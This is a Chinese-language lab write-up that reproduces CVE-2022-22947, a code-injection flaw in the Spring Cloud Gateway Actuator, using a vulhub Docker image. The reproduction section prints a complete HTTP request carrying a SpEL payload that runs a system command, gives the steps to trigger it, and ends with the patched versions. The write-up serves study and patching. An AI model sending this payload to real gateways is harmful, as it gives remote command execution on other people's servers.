一 简介
Spring Cloud Gateway 是Spring Cloud的一个全新的API网关项目,目的是为了替换掉Zuul1。Gateway可以与Spring Cloud Discovery Client(如Eureka)、Ribbon、Hystrix等组件配合使用,实现路由转发、负载均衡、熔断等功能,并且Gateway还内置了限流过滤器,实现了限流的功能。
二 漏洞原理
Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求
详细分析:
漏洞分析: CVE-2022-22947 Spring Cloud Gateway - 知乎 (zhihu.com)
三 漏洞复现
1.环境搭建
这里使用docker去搭建,使用以下命令
docker pull vulhub/spring-cloud-gateway:3.1.0 //下载镜像
docker run -itd -p 8010:8080 --name spring vulhub/spring-cloud-gateway:3.1.0 //启动
出现以下图片说明搭建成功
2.漏洞复现
1.添加一个spel表达式路由,修改处已在图中标出
POST /actuator/gateway/routes/xd HTTP/1.1
Host: 192.168.1.153:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 364{
"id": "xd",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
2.添加完路由之后,接下来就是触发路由,直接在url处拼接/actuator/gateway/refresh
3.访问刚刚添加的路由,payload中执行的命令,即可回显
四 漏洞修复
更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway 3.1.1
Spring Cloud Gateway 3.0.7
如果网站业务不会使用到Actuator组件就可以将它禁用。